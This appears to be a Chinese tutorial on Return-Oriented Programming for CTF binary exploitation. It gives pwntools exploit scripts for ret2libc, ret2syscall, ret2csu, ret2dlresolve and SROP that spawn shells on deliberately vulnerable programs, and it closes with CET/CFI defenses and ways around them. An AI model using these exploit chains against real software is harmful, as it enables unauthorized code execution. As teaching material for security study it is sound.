目录
- 1. 引言:从栈溢出到ROP的攻防演进
- 2. 栈溢出基础回顾
- 3. DEP/NX防护机制的诞生与绕过催生
- 4. ROP核心原理
- 5. ret2libc技术详解
- 6. ret2syscall技术详解
- 7. ret2csu技术详解
- 8. ret2dlresolve技术详解
- 9. SROP技术详解
- 10. Gadget查找工具实战
- 11. 完整CTF PWN题目实战复现
- 12. 现代防御机制:CET与CFI
- 13. 总结
- 免责声明
1. 引言:从栈溢出到ROP的攻防演进
在现代二进制安全攻防历史上,ROP(Return-Oriented Programming,面向返回的编程)无疑是最具里程碑意义的技术之一。它的出现并非一蹴而就,而是攻防双方在长达二十余年的博弈中逐步演化的产物。
时间线概览:
1988 Morris蠕虫 ──> 栈溢出首次进入公众视野
1996 Aleph One ──> 《Smashing The Stack For Fun and Profit》经典论文
1996 Solar Designer ──> 提出非执行栈 (NX stack) 思想
2000 ret2libc ──> 绕过不可执行栈的第一种系统性技术
2003 PaX ──> Linux引入完整的DEP/NX实现
2007 Hovav Shacham ──> 正式提出ROP概念(《Return-Oriented Programming》)
2010 SROP ──> Erik Bosman提出Sigreturn-Oriented Programming
2014 ret2dlresolve ──> 在无libc泄露场景下的通用利用技术成熟
2020 CET/Shadow Stack ──> Intel硬件级控制流完整性落地
整条演进链路的核心逻辑是:每一次防御机制的升级,都会催生一种新的绕过技术。本文将从底层原理出发,完整剖析ROP技术族系。
2. 栈溢出基础回顾
2.1 函数调用与栈帧结构
理解ROP必须先理解栈。在x86_64架构下,函数调用时栈帧的布局如下(地址从高到低增长):
高地址 ┌─────────────────────┐
│ 参数7,8,9...(寄存器) │ rdi, rsi, rdx, rcx, r8, r9
│ 上一栈帧的局部变量 │
├─────────────────────┤
│ saved RBP │ ← 当前函数 prologue: push rbp
├─────────────────────┤
│ 局部变量 buf[64] │ ← 当前函数的局部缓冲区
│ ... │
├─────────────────────┤
│ saved RIP (返回地址)│ ← call指令自动压入
├─────────────────────┤
│ caller的局部变量 │
低地址 └─────────────────────┘
当调用 call func 时,CPU执行两个操作:
- 将下一条指令的地址(返回地址)压入栈中
- 跳转到
func的入口
函数返回时执行 ret 指令:从栈顶弹出返回地址到RIP。
2.2 经典栈溢出
当程序使用不安全的函数(如 strcpy、gets、sprintf)向栈上缓冲区写入数据且未做边界检查时,攻击者可以写入超出缓冲区长度的数据,覆盖到 saved RBP 甚至 saved RIP:
// vulnerable.c
#include <stdio.h>
#include <string.h>
void vulnerable(char *input) {
char buf[64];
strcpy(buf, input); // 无长度检查,可溢出
printf("%s\n", buf);
}
int main(int argc, char *argv[]) {
vulnerable(argv[1]);
return 0;
}
溢出时的栈布局变化:
正常状态: 溢出后:
┌──────────────┐ ┌──────────────┐
│ buf[64] │ │ 'A'*64 (buf)│
├──────────────┤ ├──────────────┤
│ saved RBP │ │ 'BBBB'(RBP) │
├──────────────┤ ├──────────────┤
│ saved RIP │ │ 0x41414141 │ ← 控制RIP!
└──────────────┘ └──────────────┘
在NX/DEP出现之前,攻击者只需将shellcode放在buf中,并将返回地址覆写为buf的地址,即可执行任意代码(即 "stack smashing" 的经典手法)。
3. DEP/NX防护机制的诞生与绕过催生
3.1 DEP/NX原理
DEP(Data Execution Prevention,Windows称谓)/ NX(No-eXecute,Linux称谓)通过CPU的NX位(Page Table Entry中的第63位)将内存页标记为"不可执行"。当RIP指向一个标记为NX的页时,CPU触发段错误。
权限矩阵:
┌────────────┬──────┬──────┬──────┐
│ 内存区域 │ 读 R │ 写 W │ 执行 X│
├────────────┼──────┼──────┼──────┤
│ 栈 stack │ ✓ │ ✓ │ ✗ │ ← NX使栈不可执行
│ 堆 heap │ ✓ │ ✓ │ ✗ │ ← 堆也不可执行
│ .data │ ✓ │ ✓ │ ✗ │
│ .text/code │ ✓ │ ✗ │ ✓ │ ← 只有代码段可执行
│ .rodata │ ✓ │ ✗ │ ✗ │
└────────────┴──────┴──────┴──────┘
DEP直接宣告了"在栈上放shellcode然后跳过去执行"这一经典攻击手法的死刑。
3.2 绕过的关键洞察
DEP只禁止了"数据页执行",但并不禁止"从代码页执行"。程序自身、libc等共享库的 .text 段始终是可执行的。攻击者的思路因此从"注入代码执行"转向了"复用已有代码执行"。
这就是ROP的思想雏形。攻击者不再需要写入新代码,而是通过拼接已存在于内存中的代码片段来完成任务。
4. ROP核心原理
4.1 什么是Gadget
ROP的基本构建单元是 gadget(小工具)。一个gadget是若干条以 ret 结尾的指令片段。例如在libc的 .text 段中,可能存在这样的字节序列:
地址 0x7ffff7a1b3c2: pop rdi ; 0x5f
地址 0x7ffff7a1b3c3: ret ; 0xc3
这两条指令构成一个gadget:pop rdi; ret。它的作用是从栈顶弹出一个值到rdi寄存器,然后返回。攻击者可以通过控制栈内容来控制rdi的值。
4.2 ret指令作为链节点
ROP链的核心在于 ret 指令。ret 等价于 pop rip,它从栈顶取出下一个地址作为新的执行目标。因此,只要攻击者能控制栈,就能通过一系列 ret 指令在gadget之间跳转,形成一个"以栈为驱动的状态机":
栈布局 (ROP链):
┌──────────────────────┐
│ gadget1 地址 │ ← ret跳到这里执行 gadget1
├──────────────────────┤
│ gadget1 需要的数据 │ ← gadget1中pop取走
├──────────────────────┤
│ gadget2 地址 │ ← gadget1的ret跳到这里
├──────────────────────┤
│ gadget2 需要的数据 │
├──────────────────────┤
│ gadget3 地址 │
├──────────────────────┤
│ ... │
└──────────────────────┘
执行流:
RIP ──> gadget1 ──(ret)──> gadget2 ──(ret)──> gadget3 ──(ret)──> ...
↑ ↑ ↑
栈驱动 栈驱动 栈驱动
4.3 Turing完备性
Hovav Shacham在2007年的论文中证明了一个惊人的结论:在x86架构上,仅用libc中的gadget,就能构造出图灵完备的ROP链。这意味着攻击者可以用gadget实现任意计算,等同于执行任意代码。这是ROP超越ret2libc、成为通用技术的理论基础。
4.4 x86_64调用约定
编写ROP链必须掌握x86_64的函数调用约定(System V AMD64 ABI):
| 参数顺序 | 寄存器 |
|---|---|
| 第1个参数 | rdi |
| 第2个参数 | rsi |
| 第3个参数 | rdx |
| 第4个参数 | rcx |
| 第5个参数 | r8 |
| 第6个参数 | r9 |
| 返回值 | rax |
调用 system("/bin/sh") 时,需要将 "/bin/sh" 字符串地址放入rdi,然后跳转到 system 的地址。
5. ret2libc技术详解
5.1 原理
ret2libc(Return to libc)是ROP的先驱技术。既然不能执行栈上的shellcode,那就直接调用libc中现成的函数。最经典的利用是调用 system("/bin/sh") 获取shell。
5.2 利用步骤
- 泄露libc基址(通过puts/printf等输出函数打印got表地址)
- 计算libc中
system和"/bin/sh"字符串的地址 - 构造ROP链:
pop rdi; ret→"/bin/sh"地址→system地址 - 触发栈溢出,执行ROP链
5.3 pwntools完整示例(x86_64)
#!/usr/bin/env python3
# ret2libc.py — x86_64 ret2libc 完整利用
from pwn import *
# ====== 配置 ======
context.update(arch='amd64', os='linux', log_level='info')
elf = ELF('./vuln') # 本地有符号ELF
# io = process('./vuln')
io = remote('127.0.0.1', 9999)
# ====== 第一步:泄露libc地址 ======
# 假设漏洞函数: void vuln(){ char buf[64]; read(0, buf, 0x200); }
# 存在puts的plt,以及pop_rdi gadget
pop_rdi = 0x4011d3 # ROPgadget --binary vuln | grep "pop rdi"
ret = 0x4011d4 # 用于16字节栈对齐 (movaps对齐要求)
# 利用puts打印puts的GOT地址,从而泄露libc
payload1 = b'A' * 72 # 64字节buf + 8字节saved RBP
payload1 += p64(pop_rdi)
payload1 += p64(elf.got['puts']) # rdi = &GOT[puts]
payload1 += p64(elf.plt['puts']) # 调用puts打印
payload1 += p64(elf.sym['vuln']) # 返回vuln再次触发溢出(二次利用)
io.sendline(payload1)
# 接收泄露的puts真实地址
io.recvuntil(b'\n') # 跳过buf中的'A'
leaked = io.recvline().strip()
puts_addr = u64(leaked.ljust(8, b'\x00'))
log.success(f'leaked puts @ {hex(puts_addr)}')
# ====== 第二步:计算libc基址与关键符号 ======
libc = ELF('./libc-2.31.so')
libc.address = puts_addr - libc.sym['puts']
log.success(f'libc base @ {hex(libc.address)}')
system_addr = libc.sym['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))
log.info(f'system @ {hex(system_addr)}')
log.info(f'/bin/sh @ {hex(binsh_addr)}')
# ====== 第三步:构造getshell的ROP链 ======
payload2 = b'A' * 72
payload2 += p64(ret) # 栈对齐,避免system内movaps崩溃
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr) # rdi = "/bin/sh"
payload2 += p64(system_addr) # system("/bin/sh")
io.sendline(payload2)
io.interactive()
5.4 栈布局图解
第二次溢出时的栈布局:
┌──────────────────────────┐ 高地址
│ 'A' * 64 (buf填充) │
├──────────────────────────┤
│ 'B' * 8 (saved RBP) │
├──────────────────────────┤ ← 溢出起点
│ ret gadget (0x4011d4) │ 对齐用,单纯执行一个ret
├──────────────────────────┤
│ pop_rdi (0x4011d3) │ 执行: pop rdi
├──────────────────────────┤
│ binsh_addr │ rdi ← "/bin/sh"
├──────────────────────────┤
│ system_addr │ 跳转执行 system(rdi)
└──────────────────────────┘ 低地址
6. ret2syscall技术详解
6.1 原理
当libc地址未知或无法泄露时,可以直接通过gadget构造系统调用。Linux x86_64下,执行 execve("/bin/sh", NULL, NULL) 需要设置:
| 寄存器 | 值 | 含义 |
|---|---|---|
| rax | 0x3b | sys_execve 系统调用号 |
| rdi | "/bin/sh"地址 | 第1参数: filename |
| rsi | 0 | 第2参数: argv (NULL) |
| rdx | 0 | 第3参数: envp (NULL) |
| 然后执行 | syscall |
触发系统调用 |
6.2 pwntools示例
#!/usr/bin/env python3
# ret2syscall.py — 无libc依赖,纯syscall getshell
from pwn import *
context.update(arch='amd64', os='linux')
io = process('./vuln_static') # 静态链接二进制,gadget丰富
elf = ELF('./vuln_static')
# 静态链接二进制中gadget非常多
pop_rax = 0x40100a # pop rax; ret
pop_rdi = 0x40101b # pop rdi; ret
pop_rsi = 0x40101c # pop rsi; ret
pop_rdx = 0x40101d # pop rdx; ret
syscall_ret = 0x401020 # syscall; ret
# "/bin/sh" 字符串需要放入可写区域,利用 .bss 或 read写入
bss = elf.bss() + 0x100
# 第一步: 用read把"/bin/sh"写到bss
# read(0, bss, 8) => rax=0, rdi=0, rsi=bss, rdx=8
payload = b'A' * 72
payload += p64(pop_rax) + p64(0) # rax = 0 (sys_read)
payload += p64(pop_rdi) + p64(0) # rdi = 0 (stdin)
payload += p64(pop_rsi) + p64(bss) # rsi = bss
payload += p64(pop_rdx) + p64(8) # rdx = 8
payload += p64(syscall_ret) # read(0, bss, 8)
# 第二步: execve(bss, 0, 0)
payload += p64(pop_rax) + p64(0x3b) # rax = 0x3b (sys_execve)
payload += p64(pop_rdi) + p64(bss) # rdi = "/bin/sh"
payload += p64(pop_rsi) + p64(0) # rsi = 0
payload += p64(pop_rdx) + p64(0) # rdx = 0
payload += p64(syscall_ret) # execve("/bin/sh", 0, 0)
io.sendline(payload)
io.send(b'/bin/sh\x00') # 写入"/bin/sh"到bss
io.interactive()
ret2syscall的优势在于不依赖libc,劣势是需要静态链接二进制才能找到充足的gadget(动态链接二进制通常缺少 pop rdx 等gadget,此时可结合ret2csu解决)。
7. ret2csu技术详解
7.1 背景
在x86_64动态链接程序中,通常能找到 pop rdi; ret 和 pop rsi; ret,但很难找到 pop rdx; ret。然而,__libc_csu_init 函数(每个C程序初始化时都会调用)中包含一段可以控制rdx的通用gadget,这就是ret2csu。
7.2 __libc_csu_init中的gadget
反汇编 __libc_csu_init 的关键部分:
__libc_csu_init:
...
; ===== Gadget 1 (尾部) =====
0x4011da: pop rbx ; rbx ← [rsp]
0x4011db: pop rbp ; rbp ← [rsp+8]
0x4011dc: pop r12 ; r12 ← [rsp+16]
0x4011de: pop r13 ; r13 ← [rsp+24]
0x4011e0: pop r14 ; r14 ← [rsp+32]
0x4011e2: pop r15 ; r15 ← [rsp+40]
0x4011e4: ret
; ===== Gadget 2 (中部, call逻辑) =====
0x4011c0: mov rdx, r14 ; rdx ← r14 ← 可控rdx!
0x4011c3: mov rsi, r13 ; rsi ← r13 ← 可控rsi
0x4011c6: mov edi, r12d ; edi ← r12 ← 可控rdi(低32位)
0x4011c9: call [r15+rbx*8] ; 调用 r15+rbx*8 指向的函数
0x4011cd: add rbx, 1 ; rbx++
0x4011d1: cmp rbp, rbx ; 比较
0x4011d4: jne 0x4011c0 ; 不等则循环
0x4011d6: ... ; 继续到Gadget1
7.3 利用流程
通过Gadget1设置 rbx=0, rbp=1, r12=rdi, r13=rsi, r14=rdx, r15=&函数指针,然后跳到Gadget2,即可控制 rdi, rsi, rdx 并调用 r15 指向的函数。常见做法是让 r15 指向 _fini_array 中的 _dl_runtime_resolve 或直接指向一个 ret gadget地址位置。
#!/usr/bin/env python3
# ret2csu.py — 利用__libc_csu_init控制rdx
from pwn import *
context.update(arch='amd64', os='linux')
io = process('./vuln')
elf = ELF('./vuln')
csu_gadget1 = 0x4011da # pop rbx,rbp,r12,r13,r14,r15; ret
csu_gadget2 = 0x4011c0 # mov rdx,r14; mov rsi,r13; mov edi,r12d; call [r15+rbx*8]
# 目标: read(0, bss, 0x100) 写入"/bin/sh",再配合其他gadget execve
# 但ret2csu的call是通过指针调用的,r15需指向一个含目标函数地址的内存
# 这里让 r15 = &_init (其内容是 _init 的地址),配合rbx=0
def csu_call(func_ptr_addr, rdi, rsi, rdx):
"""构造ret2csu payload"""
payload = p64(csu_gadget1)
payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1 (使cmp后jne不跳转)
payload += p64(rdi) # r12 -> edi
payload += p64(rsi) # r13 -> rsi
payload += p64(rdx) # r14 -> rdx
payload += p64(func_ptr_addr) # r15 -> call [r15+0]
payload += p64(0) * 7 # gadget2之后会pop 6个+add,需填充
return payload
# 利用fini_array中存放的函数指针地址作为func_ptr_addr
fini_array = 0x4031b0
read_ptr = fini_array # 假设此处存放某个可被call的地址
payload = b'A' * 72
payload += csu_call(read_ptr, 0, elf.bss(), 0x100) # read(0, bss, 0x100)
# 后续可继续拼接getshell链...
io.send(payload)
io.send(b'/bin/sh\x00' + b'\x00' * 0xf8)
io.interactive()
ret2csu是x86_64动态链接程序在没有 pop rdx gadget时的标准解决方案,几乎是CTF PWN选手的必备技能。
8. ret2dlresolve技术详解
8.1 原理
ret2dlresolve是最为精巧的ROP技术之一。它不依赖libc地址泄露,而是通过伪造动态链接器(ld-linux)的重定位表项,让动态链接器在解析符号时加载攻击者指定的任意函数。
在ELF的延迟绑定(Lazy Binding)机制中,第一次调用某个libc函数时,会跳到PLT中的stub代码,调用 _dl_runtime_resolve 完成符号解析。ret2dlresolve的核心是伪造 .rel.plt(重定位表)和 .dynsym(动态符号表)中的条目,使 _dl_runtime_resolve 解析出 system 函数。
8.2 伪造结构
攻击者需要伪造以下结构(32位下更简单,64位需处理索引和st_other):
┌─────────────────────────────────────┐
│ .rel.plt 伪造条目 (Elf64_Rela) │
│ r_offset = GOT[目标函数] │
│ r_info = 符号索引 << 32 | R_X86_64_JUMP_SLOT
├─────────────────────────────────────┤
│ .dynsym 伪造条目 (Elf64_Sym) │
│ st_name = 偏移到伪造的字符串表 │
│ st_other = 0 (确保可见性) │
├─────────────────────────────────────┤
│ .dynstr 伪造字符串 │
│ "system\x00" │
└─────────────────────────────────────┘
8.3 pwntools Ret2dlresolvePayload
pwntools内置了 Ret2dlresolvePayload 工具,大幅简化了构造过程:
#!/usr/bin/env python3
# ret2dlresolve.py — 无泄露getshell
from pwn import *
context.update(arch='amd64', os='linux')
io = process('./vuln_no_leak')
elf = ELF('./vuln_no_leak')
# pwntools提供Ret2dlresolvePayload自动构造伪造结构
# 需要一个可写的bss区域存放伪造的数据
bss = elf.bss()
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
# 构造: 先把伪造结构读入bss,再调用PLT0触发dl-resolve
rop = ROP(elf)
rop.read(0, dlresolve.data_addr) # read(0, bss, len(payload))
rop.ret2dlresolve(dlresolve) # 触发 _dl_runtime_resolve 解析 system
payload = b'A' * 72
payload += rop.chain()
io.send(payload)
# 发送伪造的dlresolve数据
io.send(dlresolve.payload)
io.interactive()
ret2dlresolve的威力在于:即使完全没有信息泄露、甚至不知道libc版本,也能获取shell。这在"无输出"型题目中是杀手锏。
9. SROP技术详解
9.1 原理
SROP(Sigreturn-Oriented Programming)利用的是Linux的信号处理机制。当内核向进程发送信号时,会保存当前所有寄存器状态到栈上(一个 sigcontext 结构),信号处理函数返回时通过 sigreturn 系统调用恢复这些寄存器。
攻击者通过伪造栈上的 sigcontext 结构,然后触发 sigreturn,即可一次性设置所有寄存器的值:
伪造的sigcontext结构 (x86_64 ucontext):
┌──────────────────────────┐
│ uc_flags │
│ &uc_link │
│ uc_stack.ss_sp │
│ uc_stack.ss_flags │
│ uc_stack.ss_size │
│ r8, r9, r10, r11, r12 │ ← 全部可控
│ r13, r14, r15, rdi │
│ rsi, rbp, rbx, rdx │
│ rax, rcx, rsp │ ← rsp也可控,实现链式
│ rip │ ← 关键: 控制下一条执行地址
│ eflags │
│ cs, gs, fs, ss │
│ err, trapno, oldmask │
│ cr2 (struct) │
└──────────────────────────┘
9.2 利用流程
- 找到一个
syscall; retgadget 和一个能设置rax=0xf(sigreturn调用号)的gadget - 在栈上布置伪造的
sigcontext - 触发
sigreturn,内核"恢复"攻击者伪造的寄存器状态 - rip被设置为
syscallgadget,rax被设置为0x3b(execve),rdi指向 "/bin/sh"
9.3 pwntools SigreturnFrame
#!/usr/bin/env python3
# srop.py — Sigreturn-Oriented Programming
from pwn import *
context.update(arch='amd64', os='linux')
io = process('./vuln_srop')
elf = ELF('./vuln_srop')
# 关键gadget
syscall_ret = 0x401020 # syscall; ret
# 假设能触发 mov rax, 0xf; syscall (read返回15字节时rax=15=0xf)
# 或程序中有 sigreturn 的调用路径
# 构造SROP frame
frame = SigreturnFrame()
frame.rax = 0x3b # sys_execve
frame.rdi = elf.bss() + 0x200 # "/bin/sh" 地址
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret # 执行 execve
frame.rsp = elf.bss() + 0x300 # 后续栈
# 第一步: read写入"/bin/sh"到bss + 触发sigreturn
# 利用read返回值(写入字节数)设置rax=15
payload = b'A' * 72
payload += p64(syscall_ret) # read(0, bss, len) — rax=返回值
# ... 构造read调用设置rax=15后跳sigreturn
payload += bytes(frame) # 伪造的sigcontext
io.send(payload)
io.interactive()
SROP的优势是一次sigreturn可设置全部寄存器,无需大量gadget。pwntools的 SigreturnFrame 极大地简化了构造。现代内核对SROP的缓解是在sigreturn时校验 sigcontext 的合法性,但在多数场景下SROP依然有效。
10. Gadget查找工具实战
10.1 ROPgadget
ROPgadget是最常用的gadget查找工具,基于纯Python实现:
# 查找所有gadget
$ ROPgadget --binary ./vuln
# 过滤特定gadget
$ ROPgadget --binary ./vuln | grep "pop rdi"
# 查找特定指令序列
$ ROPgadget --binary ./vuln --string "/bin/sh"
# 生成完整的ROP链(实验性功能)
$ ROPgadget --binary ./vuln --ropchain
# 深度搜索(递归分析,更全面但更慢)
$ ROPgadget --binary ./vuln --depth 10
输出示例:
0x00000000004011d3 : pop rdi ; ret
0x00000000004011d1 : pop rsi ; pop r15 ; ret
0x000000000040101a : ret
10.2 ropper
ropper是另一个强大的gadget查找工具,支持更多架构和高级搜索语法:
# 基本查找
$ ropper --file ./vuln
# 搜索特定gadget(支持语义搜索)
$ ropper --file ./vuln --search "pop rdi"
# 搜索多个寄存器
$ ropper --file ./vuln --search "pop rdi; ret"
# 搜索字符串
$ ropper --file ./vuln --string "/bin/sh"
# 交互模式
$ ropper --file ./vuln --interactive
(ropper)> search pop rdi
10.3 pwntools内置ROP
pwntools的 ROP 类可以在脚本中直接查找和构造链:
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
# 自动查找gadget
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
log.info(f'pop rdi; ret @ {hex(pop_rdi)}')
# 链式构造
rop.call('puts', [elf.got['puts']])
rop.call('vuln')
print(rop.dump()) # 打印ROP链
payload = rop.chain() # 生成bytes
11. 完整CTF PWN题目实战复现
下面以一道典型的CTF PWN题目为例,完整演示从分析到利用的全过程。
11.1 题目分析
// ctf_pwn.c — gcc -no-pie -fno-stack-protector ctf_pwn.c -o ctf_pwn
#include <stdio.h>
#include <unistd.h>
void vuln() {
char buf[64];
puts("Welcome to ROP challenge!");
read(0, buf, 0x200); // 溢出点: 读256字节到64字节缓冲区
}
int main() {
setvbuf(stdout, 0, 2, 0);
vuln();
return 0;
}
保护检查:
$ checksec ctf_pwn
[*] '/home/ctf/ctf_pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found ← 无栈保护
NX: NX enabled ← 栈不可执行,需ROP
PIE: No PIE (0x400000) ← 地址固定
11.2 利用策略
由于开启了NX、无canary、无PIE,采用ret2libc两阶段利用:
- 泄露libc地址
- getshell
11.3 完整exp
#!/usr/bin/env python3
# exp_ctf.py
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
elf = ELF('./ctf_pwn')
# io = process('./ctf_pwn')
io = remote('ctf.example.com', 9999)
# ---- 信息收集 ----
# ROPgadget --binary ctf_pwn | grep "pop rdi"
pop_rdi = 0x4011d3
ret = 0x40101a
# ---- Stage 1: 泄露 puts 的真实地址 ----
payload1 = b'A' * 72 # 64 buf + 8 rbp
payload1 += p64(pop_rdi)
payload1 += p64(elf.got['puts'])
payload1 += p64(elf.plt['puts'])
payload1 += p64(elf.sym['vuln']) # 回到vuln,准备第二次溢出
io.sendlineafter(b'challenge!\n', payload1)
leaked_puts = u64(io.recvline().strip().ljust(8, b'\x00'))
log.success(f'puts real addr: {hex(leaked_puts)}')
# ---- Stage 2: 计算libc地址 ----
libc = ELF('./libc6_2.31-0ubuntu9_amd64.so')
libc.address = leaked_puts - libc.sym['puts']
log.success(f'libc base: {hex(libc.address)}')
system = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh\x00'))
# ---- Stage 3: getshell ----
payload2 = b'A' * 72
payload2 += p64(ret) # 16字节栈对齐
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system)
io.sendline(payload2)
io.interactive()
11.4 栈布局变化全过程
Stage 1 栈布局(泄露):
vuln返回时栈状态:
┌────────────────────────────┐
│ 'A'*64 (buf) │
├────────────────────────────┤
│ 'B'*8 (saved rbp) │
├────────────────────────────┤ ← 溢出开始
│ pop_rdi (0x4011d3) │ ret到此 → pop rdi
├────────────────────────────┤
│ GOT[puts] │ rdi ← &GOT[puts]
├────────────────────────────┤
│ PLT[puts] (0x401030) │ ret到此 → puts(rdi) 输出地址
├────────────────────────────┤
│ vuln (0x401156) │ ret到此 → 回到vuln准备Stage2
└────────────────────────────┘
Stage 2 栈布局(getshell):
┌────────────────────────────┐
│ 'A'*64 (buf) │
├────────────────────────────┤
│ 'B'*8 (saved rbp) │
├────────────────────────────┤ ← 溢出开始
│ ret (0x40101a) │ 对齐: 单纯ret,使栈16字节对齐
├────────────────────────────┤
│ pop_rdi (0x4011d3) │ ret到此 → pop rdi
├────────────────────────────┤
│ bin_sh_addr │ rdi ← "/bin/sh"
├────────────────────────────┤
│ system_addr │ ret到此 → system("/bin/sh") → shell!
└────────────────────────────┘
11.5 栈对齐的坑
x86_64的System V ABI要求函数调用时栈16字节对齐。system 内部使用了 movaps 指令(要求16字节对齐访问),若栈未对齐会触发 SIGSEGV。解决方案是额外插入一个 ret gadget消耗8字节,使栈重新对齐。这是CTF中极为常见的坑点。
12. 现代防御机制:CET与CFI
12.1 CET (Control-flow Enforcement Technology)
Intel CET是硬件级别的控制流防护,从Tiger Lake(第11代)CPU开始引入,包含两个子技术:
1. Shadow Stack(影子栈)
CPU维护一个专用的影子栈,与数据栈并行。每次 call 时,返回地址同时压入数据栈和影子栈;ret 时,CPU比对数据栈和影子栈的返回地址是否一致,不一致则触发异常(#CP)。
普通栈: 影子栈 (Shadow Stack):
┌──────────────┐ ┌──────────────┐
│ data │ │ ret addr A │ ← call时同时压入
│ ... │ │ ret addr B │
│ ret addr B │ │ ret addr C │
└──────────────┘ └──────────────┘
↑ ↑
ret时取出B ret时取出B比对
若被ROP篡改 两者不一致 → #CP异常!
ROP通过覆写数据栈上的返回地址来劫持控制流,而影子栈由硬件保护不可被普通写操作修改,因此ROP篡改的返回地址会在 ret 时被检测出来。这从根本原理上瓦解了基于 ret 的ROP链。
2. IBT (Indirect Branch Tracking)
对间接跳转(jmp rax、call rax)目标进行校验,要求目标指令必须是 endbr64(End Branch 64)。若间接跳转目标不是 endbr64,触发异常。这阻断了跳转到gadget中间的攻击。
12.2 CFI (Control Flow Integrity)
CFI是软件层面的控制流完整性方案,核心思想是在每个间接跳转/调用前,校验目标是否在预先生成的合法目标集合中。
| CFI方案 | 实现层级 | 特点 |
|---|---|---|
| Clang CFI | 编译器 | 编译时插桩,基于类型签名校验 |
| Microsoft XFG | 操作系统 | 扩展CFG,加入类型哈希校验 |
| kCFI (Linux内核) | 内核 | 内核态CFI,校验间接调用目标 |
| Intel CET | 硬件 | 硬件级Shadow Stack + IBT |
12.3 绕过思路
CET和CFI大幅提升了ROP的难度,但并非绝对安全。研究界已提出多种绕过方向:
- 数据导向攻击:不劫持控制流,而是篡改数据(如覆写函数指针指向的数据、修改全局变量),将控制流保持在合法目标内。
- 影子栈溢出:某些实现中影子栈有限深度,理论上可溢出影子栈(极难实践)。
- 合法gadget滥用:IBT只要求目标有
endbr64,若能找到以endbr64开头的合法函数作为gadget,仍可构造链。 - JOP/COP:转向面向跳转(Jump-Oriented)或面向调用(Call-Oriented)的编程,绕过ret校验。
13. 总结
ROP技术的演进史是攻防博弈的缩影:
| 防御机制 | 绕过技术 | 核心原理 |
|---|---|---|
| 无防护 | shellcode注入 | 栈可执行,直接注入代码 |
| DEP/NX | ret2libc | 复用libc已有函数 |
| ASLR | 信息泄露+ret2libc | 先泄露地址再构造 |
| 无libc泄露 | ret2syscall / ret2dlresolve | 不依赖libc地址 |
| 缺rdx gadget | ret2csu | 利用__libc_csu_init |
| 少量gadget | SROP | sigreturn一次性设全部寄存器 |
| CET Shadow Stack | 数据导向攻击/合法函数滥用 | 避开ret校验 |
ROP的精髓在于"不注入代码,而是编排已有代码"。从ret2libc到SROP,每一种技术都是对"如何用更少的约束实现更完整的控制"这一命题的回答。理解ROP不仅是掌握一种攻击技术,更是理解现代二进制安全防御体系设计逻辑的钥匙。CET与CFI的普及标志着控制流劫持攻击进入新阶段,但攻防的博弈远未终结。
免责声明
本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。
浙公网安备 33010602011771号